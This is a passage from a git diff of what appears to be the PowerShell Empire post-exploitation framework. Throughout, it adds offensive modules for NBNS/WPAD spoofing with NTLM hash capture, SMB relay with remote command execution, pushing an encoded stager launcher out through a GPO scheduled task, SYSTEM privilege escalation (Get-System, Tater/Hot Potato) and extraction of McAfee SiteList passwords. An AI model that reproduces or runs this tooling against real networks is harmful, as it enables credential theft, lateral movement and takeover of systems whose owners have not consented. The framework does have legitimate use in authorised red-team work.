does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', + 'Required' : False, + 'Value' : 'NTLM' + }, + 'HTTPBasicRealm' : { + 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', + 'Required' : False, + 'Value' : 'IIS' + }, + 'HTTPResponse' : { + 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.', 'Required' : False, 'Value' : '' }, - 'HTTP' : { - 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', + 'WPADAuth' : { + 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', 'Required' : False, - 'Value' : 'Y' + 'Value' : 'NTLM' + }, + 'WPADIP' : { + 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', + 'Required' : False, + 'Value' : '' + }, + 'WPADPort' : { + 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', + 'Required' : False, + 'Value' : '' + }, + 'WPADDirectHosts' : { + 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', + 'Required' : False, + 'Value' : '' }, 'SMB' : { 'Description' : 'Enable/Disable SMB challenge/response capture (Y/N).', @@ -92,11 +150,6 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : 'N' }, - 'ForceWPADAuth' : { - 'Description' : 'Enable/Disable LLMNR spoofing (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, 'RunTime' : { 'Description' : 'Run time duration in minutes.', 'Required' : False, @@ -131,8 +184,8 @@ def generate(self): script = moduleCode - # disable file output - script += "\n" + 'Invoke-Inveigh -ConsoleOutput "Y" -Tool "2" ' + # set defaults for Empire + script += "\n" + 'Invoke-Inveigh -Tool "2" ' for option,values in self.options.iteritems(): if option.lower() != "agent": diff --git a/lib/modules/collection/inveigh_bruteforce.py b/lib/modules/collection/inveigh_bruteforce.py new file mode 100644 index 000000000..874542ff3 --- /dev/null +++ b/lib/modules/collection/inveigh_bruteforce.py @@ -0,0 +1,175 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-InveighBruteForce', + + 'Author': ['Kevin Robertson'], + + 'Description': ('Inveigh\'s remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. ' + 'This module can be used to perform NBNS spoofing across subnets and/or perform NBNS ' + 'spoofing without an elevated administrator or SYSTEM shell.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/Kevin-Robertson/Inveigh' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'SpooferIP' : { + 'Description' : 'Specific IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferTarget' : { + 'Description' : 'IP address to target for brute force NBNS spoofing.', + 'Required' : True, + 'Value' : '' + }, + 'Hostname' : { + 'Description' : 'Hostname to spoof with NBNS spoofing.', + 'Required' : False, + 'Value' : 'WPAD' + }, + 'NBNS' : { + 'Description' : 'Enable/Disable NBNS spoofing (Y/N).', + 'Required' : False, + 'Value' : 'Y' + }, + 'NBNSPause' : { + 'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.', + 'Required' : False, + 'Value' : '' + }, + 'NBNSTTL' : { + 'Description' : 'Custom NBNS TTL in seconds for the response packet.', + 'Required' : False, + 'Value' : '' + }, + 'HTTP' : { + 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', + 'Required' : False, + 'Value' : 'Y' + }, + 'HTTPAuth' : { + 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', + 'Required' : False, + 'Value' : 'NTLM' + }, + 'HTTPBasicRealm' : { + 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', + 'Required' : False, + 'Value' : 'IIS' + }, + 'HTTPResponse' : { + 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.', + 'Required' : False, + 'Value' : '' + }, + 'WPADAuth' : { + 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', + 'Required' : False, + 'Value' : 'NTLM' + }, + 'WPADIP' : { + 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', + 'Required' : False, + 'Value' : '' + }, + 'WPADPort' : { + 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', + 'Required' : False, + 'Value' : '' + }, + 'WPADDirectHosts' : { + 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', + 'Required' : False, + 'Value' : '' + }, + 'Challenge' : { + 'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.', + 'Required' : False, + 'Value' : '' + }, + 'MachineAccounts' : { + 'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).', + 'Required' : False, + 'Value' : 'N' + }, + 'RunCount' : { + 'Description' : 'Number of captures to perform before auto-exiting.', + 'Required' : False, + 'Value' : '' + }, + 'RunTime' : { + 'Description' : 'Run time duration in minutes.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + # set defaults for Empire + script += "\n" + 'Invoke-InveighBruteForce -Tool "2" ' + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + if "," in str(values['Value']): + quoted = '"' + str(values['Value']).replace(',', '","') + '"' + script += " -" + str(option) + " " + quoted + else: + script += " -" + str(option) + " \"" + str(values['Value']) + "\"" + + return script diff --git a/lib/modules/credentials/tokens.py b/lib/modules/credentials/tokens.py index 94ad628a7..2349a2f2e 100644 --- a/lib/modules/credentials/tokens.py +++ b/lib/modules/credentials/tokens.py @@ -130,7 +130,7 @@ def generate(self): script += " -RevToSelf" elif self.options['WhoAmI']['Value'].lower() == "true": script += " -WhoAmI" - elif self.options['WhoAmI']['Value'].lower() == "true": + elif self.options['ShowAll']['Value'].lower() == "true": script += " -ShowAll | Out-String" else: diff --git a/lib/modules/lateral_movement/inveigh_relay.py b/lib/modules/lateral_movement/inveigh_relay.py index 28414c6f6..bd5edc745 100644 --- a/lib/modules/lateral_movement/inveigh_relay.py +++ b/lib/modules/lateral_movement/inveigh_relay.py @@ -9,11 +9,12 @@ def __init__(self, mainMenu, params=[]): 'Author': ['Kevin Robertson'], - 'Description': ('Relays incoming HTTP NTLMv2 authentication requests to an SMB target. ' - 'If the authentication is successfully relayed and the account is ' - 'a local administrator, a specified command will be executed on the ' - 'target PSExec style. This module works best while also running ' - 'collection/inveigh with HTTP disabled in collection/inveigh.'), + 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay ' + 'incoming HTTP NTLMv2 authentication requests to an SMB target. ' + 'If the authentication is successfully relayed and the account is ' + 'a local administrator, a specified command will be executed on the ' + 'target PSExec style. This module works best while also running ' + 'collection/inveigh with HTTP disabled.'), 'Background' : True, @@ -45,11 +46,11 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'SMBRelayCommand' : { - 'Description' : 'Command to execute on SMB relay target.', + 'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.', 'Required' : True, 'Value' : '' }, - 'SMBRelayUsernames' : { + 'SMBRelayUsernames' : { 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.', 'Required' : False, 'Value' : '' @@ -58,6 +59,11 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Automaticaly disable SMB relay after a successful command execution on target (Y/N).', 'Required' : False, 'Value' : 'Y' + }, + 'RunTime' : { + 'Description' : 'Run time duration in minutes.', + 'Required' : False, + 'Value' : '' } } @@ -88,8 +94,8 @@ def generate(self): script = moduleCode - # disable file output - script += "\n" + 'Invoke-InveighRelay -ConsoleOutput "Y" -Tool "2" ' + # set defaults for Empire + script += "\n" + 'Invoke-InveighRelay -Tool "2" ' for option,values in self.options.iteritems(): if option.lower() != "agent": diff --git a/lib/modules/lateral_movement/new_gpo_immediate_task.py b/lib/modules/lateral_movement/new_gpo_immediate_task.py new file mode 100644 index 000000000..51e8f318e --- /dev/null +++ b/lib/modules/lateral_movement/new_gpo_immediate_task.py @@ -0,0 +1,164 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'New-GPOImmediateTask', + + 'Author': ['@harmj0y'], + + 'Description': ("Builds an 'Immediate' schtask to push out through a specified GPO."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'TaskName' : { + 'Description' : 'Name for the schtask to create.', + 'Required' : True, + 'Value' : 'Debug' + }, + 'TaskDescription' : { + 'Description' : 'Name for the schtask to create.', + 'Required' : False, + 'Value' : 'Debugging functionality.' + }, + 'TaskAuthor' : { + 'Description' : 'Name for the schtask to create.', + 'Required' : True, + 'Value' : 'NT AUTHORITY\System' + }, + 'GPOname' : { + 'Description' : 'The GPO name to build the task for.', + 'Required' : False, + 'Value' : '' + }, + 'GPODisplayName' : { + 'Description' : 'The GPO display name to build the task for.', + 'Required' : False, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'The domain to query for the GPOs, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + }, + 'DomainController' : { + 'Description' : 'Domain controller to reflect LDAP queries through.', + 'Required' : False, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Remove' : { + 'Description' : 'Switch. Remove the immediate schtask.', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + + else: + + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + command = "/c \""+launcher+"\"" + + if command == "": + return "" + + else: + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " -Command cmd -CommandArguments '"+command+"' -Force" + + for option,values in self.options.iteritems(): + if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", "domain", "domaincontroller"]: + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " '" + str(values['Value']) + "'" + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/management/get_domain_sid.py b/lib/modules/management/get_domain_sid.py new file mode 100644 index 000000000..7e718be8f --- /dev/null +++ b/lib/modules/management/get_domain_sid.py @@ -0,0 +1,86 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-DomainSID', + + 'Author': ['@harmj0y'], + + 'Description': ('Returns the SID for the current of specified domain.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Domain' : { + 'Description' : 'Domain to resolve SID for, defaults to the current domain.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/privesc/getsystem.py b/lib/modules/privesc/getsystem.py new file mode 100644 index 000000000..1583d40f7 --- /dev/null +++ b/lib/modules/privesc/getsystem.py @@ -0,0 +1,114 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SiteListPassword', + + 'Author': ['@harmj0y', '@mattifestation'], + + 'Description': ("Gets SYSTEM privileges with one of two methods."), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : True, + + 'OpsecSafe' : False, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c', + 'https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot', + 'http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/', + 'http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Technique' : { + 'Description' : "Technique to use, 'NamedPipe' for service named pipe impersonation or 'Token' for adjust token privs.", + 'Required' : False, + 'Value' : 'NamedPipe' + }, + 'ServiceName' : { + 'Description' : "Optional service name to used for 'NamedPipe' impersonation.", + 'Required' : False, + 'Value' : '' + }, + 'PipeName' : { + 'Description' : "Optional pipe name to used for 'NamedPipe' impersonation.", + 'Required' : False, + 'Value' : '' + }, + 'RevToSelf' : { + 'Description' : "Switch. Reverts the current thread privileges.", + 'Required' : False, + 'Value' : '' + }, + 'WhoAmI' : { + 'Description' : "Switch. Display the credentials for the current PowerShell thread.", + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Get-System.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + script += "Get-System " + + if self.options['RevToSelf']['Value'].lower() == "true": + script += " -RevToSelf" + elif self.options['WhoAmI']['Value'].lower() == "true": + script += " -WhoAmI" + else: + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += "| Out-String | %{$_ + \"`n\"};" + script += "'Get-System completed'" + + return script diff --git a/lib/modules/privesc/mcafee_sitelist.py b/lib/modules/privesc/mcafee_sitelist.py new file mode 100644 index 000000000..277b6e635 --- /dev/null +++ b/lib/modules/privesc/mcafee_sitelist.py @@ -0,0 +1,80 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SiteListPassword', + + 'Author': ['@harmj0y', '@funoverip'], + + 'Description': ("Retrieves the plaintext passwords for found McAfee's SiteList.xml files."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/funoverip/mcafee-sitelist-pwd-decryption/' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Get-SiteListPassword.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + script += "Get-SiteListPassword " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += "| Out-String | %{$_ + \"`n\"};" + script += "'Get-SiteListPassword completed'" + return script diff --git a/lib/modules/privesc/tater.py b/lib/modules/privesc/tater.py new file mode 100644 index 000000000..cca83e926 --- /dev/null +++ b/lib/modules/privesc/tater.py @@ -0,0 +1,154 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-Tater', + + 'Author': ['Kevin Robertson'], + + 'Description': ('Tater is a PowerShell implementation of the Hot Potato ' + 'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.'), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : False, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/Kevin-Robertson/Tater' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'IP' : { + 'Description' : 'Specific local IP address for NBNS spoofer.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIP' : { + 'Description' : 'IP address included in NBNS response. This is needed when using two hosts to get around an in-use port 80 on the privesc target.', + 'Required' : False, + 'Value' : '' + }, + 'Command' : { + 'Description' : 'Command to execute during privilege escalation. Do not wrap in quotes and use PowerShell character escapes where necessary.', + 'Required' : True, + 'Value' : '' + }, + 'NBNS' : { + 'Description' : 'Enable/Disable NBNS bruteforce spoofing (Y/N).', + 'Required' : False, + 'Value' : 'Y' + }, + 'NBNSLimit' : { + 'Description' : 'Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly (Y/N).', + 'Required' : False, + 'Value' : 'Y' + }, + 'Trigger' : { + 'Description' : 'Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task', + 'Required' : False, + 'Value' : '1' + }, + 'ExhaustUDP' : { + 'Description' : 'Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution (Y/N).', + 'Required' : False, + 'Value' : 'N' + }, + 'HTTPPort' : { + 'Description' : 'TCP port for the HTTP listener.', + 'Required' : False, + 'Value' : '80' + }, + 'Hostname' : { + 'Description' : 'Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.', + 'Required' : False, + 'Value' : 'WPAD' + }, + 'WPADDirectHosts' : { + 'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid catching Empire HTTP traffic.', + 'Required' : False, + 'Value' : '' + }, + 'WPADPort' : { + 'Description' : 'Proxy server port to be included in the wpad.dat file.', + 'Required' : False, + 'Value' : '80' + }, + 'TaskDelete' : { + 'Description' : 'Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.', + 'Required' : False, + 'Value' : 'Y' + }, + 'Taskname' : { + 'Description' : 'Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.', + 'Required' : False, + 'Value' : 'Empire' + }, + 'RunTime' : { + 'Description' : 'Run time duration in minutes.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-Tater.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + # set defaults for Empire + script += "\n" + 'Invoke-Tater -Tool "2" ' + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + if "," in str(values['Value']): + quoted = '"' + str(values['Value']).replace(',', '","') + '"' + script += " -" + str(option) + " " + quoted + else: + script += " -" + str(option) + " \"" + str(values['Value']) + "\"" + + return script diff --git a/lib/modules/situational_awareness/host/get_pathacl.py b/lib/modules/situational_awareness/host/get_pathacl.py new file mode 100644 index 000000000..2d95fd0f5 --- /dev/null +++ b/lib/modules/situational_awareness/host/get_pathacl.py @@ -0,0 +1,88 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-PathAcl', + + 'Author': ['@harmj0y'], + + 'Description': ("Enumerates the ACL for a given file path."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Path' : { + 'Description' : 'The local/remote (UNC) path to enumerate the ACLs for.', + 'Required' : True, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/host/get_proxy.py b/lib/modules/situational_awareness/host/get_proxy.py new file mode 100644 index 000000000..bc458ab66 --- /dev/null +++ b/lib/modules/situational_awareness/host/get_proxy.py @@ -0,0 +1,88 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-Proxy', + + 'Author': ['@harmj0y'], + + 'Description': ("Enumerates the proxy server and WPAD conents for the current user. Part of PowerView."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'ComputerName' : { + 'Description' : 'The computername to enumerate proxy settings on.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) + + script += moduleName + " " + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + + return script diff --git a/lib/modules/situational_awareness/network/powerview/find_managed_security_groups.py b/lib/modules/situational_awareness/network/powerview/find_managed_security_group.py similarity index 95% rename from lib/modules/situational_awareness/network/powerview/find_managed_security_groups.py rename to lib/modules/situational_awareness/network/powerview/find_managed_security_group.py index 42a47dff7..1cb468b2c 100644 --- a/lib/modules/situational_awareness/network/powerview/find_managed_security_groups.py +++ b/lib/modules/situational_awareness/network/powerview/find_managed_security_group.py @@ -5,13 +5,13 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Find-ManagedSecurityGroups', + 'Name': 'Find-ManagedSecurityGroup', 'Author': ['@ukstufus'], 'Description': ('This function retrieves all security groups in the domain and identifies ones that ' 'have a manager set. It also determines whether the manager has the ability to add ' - 'or remove members from the group.'), + 'or remove members from the group. Part of PowerView.'), 'Background' : True, diff --git a/lib/modules/situational_awareness/network/powerview/find_user_field.py b/lib/modules/situational_awareness/network/powerview/find_user_field.py index 79e2b02f7..faada9289 100644 --- a/lib/modules/situational_awareness/network/powerview/find_user_field.py +++ b/lib/modules/situational_awareness/network/powerview/find_user_field.py @@ -5,11 +5,11 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Find-ComputerField', + 'Name': 'Find-UserField', 'Author': ['@obscuresec', '@harmj0y'], - 'Description': ("Searches user object fields for a given word (default *pass*). Default field being searched is 'description'."), + 'Description': ("Searches user object fields for a given word (default *pass*). Default field being searched is 'description'. Part of PowerView."), 'Background' : True, diff --git a/lib/modules/situational_awareness/network/powerview/get_cached_rdpconnection.py b/lib/modules/situational_awareness/network/powerview/get_cached_rdpconnection.py index d66515340..47127503d 100644 --- a/lib/modules/situational_awareness/network/powerview/get_cached_rdpconnection.py +++ b/lib/modules/situational_awareness/network/powerview/get_cached_rdpconnection.py @@ -10,7 +10,7 @@ def __init__(self, mainMenu, params=[]): 'Author': ['@harmj0y'], 'Description': ('Uses remote registry functionality to query all entries for the ' - 'Windows Remote Desktop Connection Client" on a machine'), + 'Windows Remote Desktop Connection Client" on a machine. Part of PowerView.'), 'Background' : True, diff --git 